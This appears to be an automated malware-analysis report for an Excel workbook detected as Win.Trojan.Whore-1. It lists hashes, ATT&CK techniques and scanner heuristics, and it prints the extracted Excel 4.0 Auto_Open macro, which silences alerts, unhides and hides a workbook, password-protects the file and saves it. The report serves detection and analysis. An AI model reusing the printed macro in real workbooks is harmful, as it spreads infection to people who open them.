Win.Trojan.Whore-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 36a1cfd0711c3f8d…

MALICIOUS

Office (OLE)

18.0 KB First seen: 2015-10-13
MD5: ed65b79fc366ffacf73a8febdf04a370 SHA-1: 77c4df3f1c6958d4b7b4e2b2724a734d705f0a41 SHA-256: 36a1cfd0711c3f8db5e8d75ae66fdcbea1540f2de228a8c3cb5c74d5e3378385
240 Risk Score

Malware Insights

Win.Trojan.Whore-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros with an Auto_Open entry, which is a critical indicator of malicious intent. The macro sheet defines a name 'Host' and uses functions like RUN and WORKBOOK.UNHIDE, suggesting it's designed to execute commands or load other workbooks. ClamAV also identifies the sample as Win.Trojan.Whore-1, reinforcing the malicious classification.

Heuristics 4

  • ClamAV: Win.Trojan.Whore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Whore-1
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1532 bytes
SHA-256: 33beae72be33a8580b80a39f963cbe377d244bee4a07af58dc1dbea821ce93b1
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Jaim
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Jaim!A2 
' 0018     32 LABEL : Cell Value, String Constant - Host len=13 ptgStr "target.xls" 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Jaim,A3,CANCEL.KEY(FALSE),""
'  Jaim,A4,ECHO(FALSE),""
'  Jaim,A5,ERROR(FALSE),""
'  Jaim,A6,"SET.NAME("Host",GET.DOCUMENT(88))",""
'  Jaim,A7,WORKBOOK.UNHIDE("Jaime"),""
'  Jaim,A8,ACTIVATE.PREV(),""
'  Jaim,A9,WORKBOOK.UNHIDE("Jaime"),""
'  Jaim,A10,"IF(ISERROR(WORKBOOK.SELECT("Jaime","Jaime")))",""
'  Jaim,A11,"[",""
'  Jaim,A12,"PROTECT.DOCUMENT(TRUE,,"Jaime1134",TRUE,TRUE)",""
'  Jaim,A13,SAVE(),""
'  Jaim,A14,*STACKERROR* not enough arguments for function: END.IF,""
'  Jaim,A15,"WORKBOOK.HIDE("Jaime",TRUE)",""
'  Jaim,A16,ACTIVATE.NEXT(),""
'  Jaim,A17,"WORKBOOK.HIDE("Jaime",TRUE)",""
'  Jaim,A18,RETURN(),""

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